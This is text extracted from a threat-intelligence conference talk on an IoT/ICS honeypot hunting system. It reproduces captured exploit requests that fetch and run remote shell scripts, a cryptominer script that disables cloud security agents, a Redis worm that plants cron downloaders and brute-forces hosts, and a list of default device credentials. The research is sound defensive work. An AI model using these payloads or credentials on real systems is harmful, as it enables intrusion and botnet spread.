In-Depth Analysis



Payload Classification



Dynamic Adjustment



One-Click (Re-)Deployment




Construction Cost Decreasing

# Highlights of the IoT-ICS Hunting System




Construction Cost Decreasing





# In-Depth Analysis of Our IoT-ICS Threat Intelligence

# IoC Hunting as A Service



Hunted 70+ Million Malicious IPs

Hunted 15+ Million Suspicious Domains

# IoC Hunting as A Service


Blocked **37<sup>+</sup> M**  
Malicious IPs

Found **1.4<sup>+</sup> M**  
Possible Botnet  
Devices


Blocked **2.1<sup>+</sup> M**  
Malicious  
Domains

Found **2.6<sup>+</sup> M**  
Malwares

# IoC Hunting as A Service




Hunted Attack Count



Successfully Blocked IPs

# Global Botnet Analysis and Alert




```
GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-O%2012.SnOoPy.sh;curl%20-O%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-O%2011.SnOoPy.sh;%20chmod%20777%20*;%20sh%2011.SnOoPy.sh;%20sh%2012.SnOoPy.sh)&password=admin Hxxp/1.0\r\n\r\nGET /cgi-bin/supervisor/CloudSetup.cgi?exefile=cd%20/tmp;%20wget%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-O%2012.SnOoPy.sh;curl%20-O%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-O%2011.SnOoPy.sh;%20chmod%20777%20*;%20sh%2011.SnOoPy.sh;%20sh%2012.SnOoPy.sh Hxxp/1.0\r\n\r\nroot\r\nroot\r\nncd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://85.239.xxx.xxx/SnOoPy.sh; chmod 777 *; sh SnOoPy.sh; tftp -g 85.239.xxx.xxx -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c\r\n\r\nGET /cgi-bin;/cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}hxxp://116.75.xxx.xxx:41227/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m\r\n\r\nGET /shell?cd%20%2Ftmp%3Bwget%20hxxp%3A%2F%2F192.3.xxx.xxx%2Finfect%3Bchmod%20777%20infect%3B.%2Finfect Hxxp/1.1\r\nHost: 139.59.xxx.xxx:5001\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/5.0.15-1-pve\r\n\r\nGET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20hxxp://23.254.xxx.xxx/ttee.sh%20-O%2012.ttee.sh;curl%20-O%20hxxp://23.254.xxx.xxx/ttee.sh%20-O%2011.ttee.sh;%20chmod%20777%20*;%20sh%2011.ttee.sh;%20sh%2012.ttee.sh)&password=admin Hxxp/1.0\r\n\r\nPOST /ctrlt/DeviceUpgrade_1 Hxxp/1.1\r\nHost: 68.183.xxx.xxx:37215\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.24.0\r\nContent-Length: 473\r\n\r\n<?xml version="1.0" ?>\r\n  <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\r\n    <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">\r\n      <NewStatusURL>$(/bin/busybox wget -g 185.172.xxx.xxx -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL>\r\n      <NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\r\n    </s:Body>\r\n  </s:Envelope>
```

# Global Botnet Analysis and Alert


1,800,000

Top 10 Countries with the Most Devices on Botnets




400,000,000

Top 10 attack source countries




400,000,000


Top 10 attacked countries



# Unknown Malware Playground



# Unknown Malware Playground



# Unknown Malware Playground

**18,000<sup>+</sup> Unknown Malware**

Architecture	Ratio
i386	<b>65.01%</b>
ARM	<b>9.95%</b>
MIPS	<b>7.87%</b>
PowerPC	2.53%
SH4	2.49%
Others	12.15%



# Unknown Malware Playground

```
#!/bin/bash
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
setenforce 0 2>/dev/null
ulimit -u 50000
sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))
netstat -antp | grep ':3333' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep ':4444' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep ':5555' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep ':7777' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep ':14444' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep ':5790' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep ':45700' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep ':2222' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep ':9999' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep ':20580' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep ':13531' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep '23.94..:1080' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9
netstat -antp | grep '134.12.:8080' | awk '{print $7}' | sed -e "s/^.*/\n/g" | xargs kill -9

rand=$(seq 0 255 | sort -R | head -nl)
rand2=$(seq 0 255 | sort -R | head -nl)

#if ps aux | grep -i '[a]liyun'; then
# (wget -q -O - http://$rand.$rand2@127.0.0.1:8080/uninstall.sh||curl -s
# nstall.sh
# (wget -q -O - http://$rand.$rand2@127.0.0.1:8080/quartz_uninstall.sh||curl -s
# all.sh; bash /tmp/uninstall.sh
# pkill aliyun-service
# rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
# rm -rf /usr/local/aegis*
# systemctl stop aliyun.service
# systemctl disable aliyun.service
# service bcm-agent stop
# yum remove bcm-agent -y
# apt-get remove bcm-agent -y
#elif ps aux | grep -i '[y]unjing'; then
# /usr/local/qcloud/stargate/admin/uninstall.sh
# /usr/local/qcloud/YunJing/uninst.sh
# /usr/local/qcloud/monitor/barad/admin/uninstall.sh
#fi
#sleep 1
#echo "DER Uninstalled"


chattr -ai /tmp/dbused

if [ -s /usr/bin/ifconfig ];
then
    range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 | grep -v 255 | head -nl)
else
    range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 | grep -v 255 | head -nl)
fi
```

# Unknown Malware Playground


```
apt install redis-tools -y >/dev/null
yum install redis-tools -y >/dev/null
echo 'config set dbfilename "backup.db"' > /tmp/.dat
echo 'save' >> /tmp/.dat
echo 'flushall' >> /tmp/.dat
echo 'set backup1 "\n\n\n*/2 * * * * wget -q -O - http://$url/xms | bash -sh\\n\\n"' >> /tmp/.dat
echo 'set backup2 "\n\n\n*/3 * * * * curl -fsSL http://$url/xms | bash -sh\\n\\n"' >> /tmp/.dat
echo 'set backup3 "\n\n\n*/4 * * * * lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\\n\\n"' >> /tmp/.dat
echo 'set backup4 "\n\n\n*/5 * * * * echo $base | base64 -d | bash -\\n\\n"' >> /tmp/.dat
echo 'config set dir "/var/spool/cron/"' >> /tmp/.dat
echo 'config set dbfilename "root"' >> /tmp/.dat
echo 'save' >> /tmp/.dat
echo 'config set dir "/var/spool/cron/crontabs"' >> /tmp/.dat
echo 'save' >> /tmp/.dat
sleep 1
rm -rf /tmp/redis_vuln.txt
nohup /tmp/masscan 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 --max-rate 100000 -p6379 --wait 0 | awk '{print $6}' > /tmp/redis_vuln.txt
cat /tmp/redis_vuln.txt | while read line; do
cat /tmp/.dat | timeout 3 redis-cli -h $line &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a redis &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a root &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a oracle &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a password &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a p@aaw0rd &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a qwerty &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a qwerty123 &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a abc123 &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a abc123! &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a 123456 &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a admin &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a mysql &>/dev/null &
done < /tmp/redis_vuln.txt
```

# 1-Day/Unknown Vulnerability Hunting




# 1-Day/Unknown Vulnerability Hunting

## WEB Remote File Inclusion /etc/passwd




# 1-Day/Unknown Vulnerability Hunting

## RDP Microsoft Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-0708)



# 1-Day/Unknown Vulnerability Hunting

## MALWARE VPNFilter-Connected Activity






# Attack Trend Analysis as an Early Warning System

No.	Credentials	Count	Note	No.	Credentials	Count	Note
1	[admin/admin]	547,672,193		26	[default/OxhlwSG8]	406,363	HiSilicon IP Camera
2	[nproc/nproc]	10,370,936		27	[guest/guest]	399,855	
3	[1/1]	4,395,542		28	[default/]	395,341	
4	[root/root]	3,806,346		29	[root/default]	389,838	
5	[root/admin]	2,625,499		30	[daemon/daemon]	370,784	
6	[user1/]	2,490,896		31	[root/7ujMko0admin]	370,197	Dahua IPCam
7	[user/user]	2,318,470		32	[root/Zte521]	358,254	ZTE routers
8	[support/support]	1,836,877	Solace PubSub+	33	[root/password]	352,916	
9	[0101/0101]	1,581,673		34	[admin/1234]	297,504	
10	[default/default]	864,820		35	[root/1234]	293,879	
11	[root/matrix]	811,410		36	[root/7ujMko0vizxv]	284,787	Dahua IPCam
12	[root/tsgoingon]	743,482	Mirai Variant Use	37	[root/hi3518]	277,281	Hisilicon
13	[root/vizxv]	736,758	Dahua IPCam	38	[admin/password]	265,645	
14	[cisco/cisco]	706,357		39	[root/1111]	252,358	
15	[root/taZz@23495859]	694,077	Mirai Variant Use	40	[pi/raspberry]	250,669	
16	[root/solokey]	693,685		41	[root/pcam_rt5350]	225,890	
17	[0/0]	648,647		42	[pi/raspberryraspberry993311]	224,223	
18	[root/xc3511]	607,536	Xiong Mai Technology IP cam, DVR, NVR from China	43	[root/5up]	223,319	
19	[admin/]	511,599		44	[root/hunt5759]	222,769	
20	[root/123456]	488,919		45	[root/1001chin]	222,125	Hikvision and Mirai Variant Use
21	[telnetadmin/telnetadmin]	478,956	贝尔E-140W-P	46	[root/xmhdipc]	220,350	Xiongmai Tech
22	[guest/12345]	451,022		47	[root/anko]	216,127	ANKO Teck
23	[root/t0talC0ntr0l4!]	448,493	Control4 Smart Home	48	[root/GM8182]	203,077	Grain Media
24	[root/12345]	415,380		49	[root/jvbzd]	198,154	
25	[default/S2fGqNFs]	408,724	HiSilicon IP Camera	50	[admin/admin]	190,757	


# Attack Trend Analysis as an Early Warning System

SSH




# Attack Trend Analysis as an Early Warning System

## Telnet




# Attack Trend Analysis as an Early Warning System

HTTP




# The Threat of Next Generation





# The Threat of Next Generation

IEC 104



Modbus/TCP






# The Next Steps for Our Next Generation IIoT Threat-Hunting System

# The Next Steps for Our Next Generation IIoT Threat-Hunting System

- Bring the complete industry 4.0 environment into our hunting system either after it's fully virtualized or via paravirtualization



Short-term perspective



Long-term perspective

# High Interaction Hunting Engine


## Siemens S7

TXOne Networks Inc.

# The Next Step of Next Generation IIoT Threat-Hunting System

- The next generation of our hunting engine will coexist with the existing IoT hunting engine, fully covering the scope of IIoT
- For attack traffic and malicious programs, we will conduct an in-depth study of the various applications of machine learning on traffic analysis and malware analysis, further advancing the degree of automated analysis





# Closing Remarks

# Closing Remarks

- An automated threat hunting system is an excellent tool for effectively hunting and suppressing the continuous expansion of IoT and IIoT threats
- These 6 examples of trends from our hunt are only a small part of the resources available in the hunting system – there is still more treasure waiting for us to discover
- The next generation of threats, IIoT threats, is coming, and early preparation is the way to deal with it

# Thanks for Listening

Mars Cheng (@marscheng\_)  
Patrick Kuo (@patrickkuo\_t)

## Acknowledgements

This is a Joint Research by TXOne Threat Research, TXOne Signature Research and Trend Micro Inc.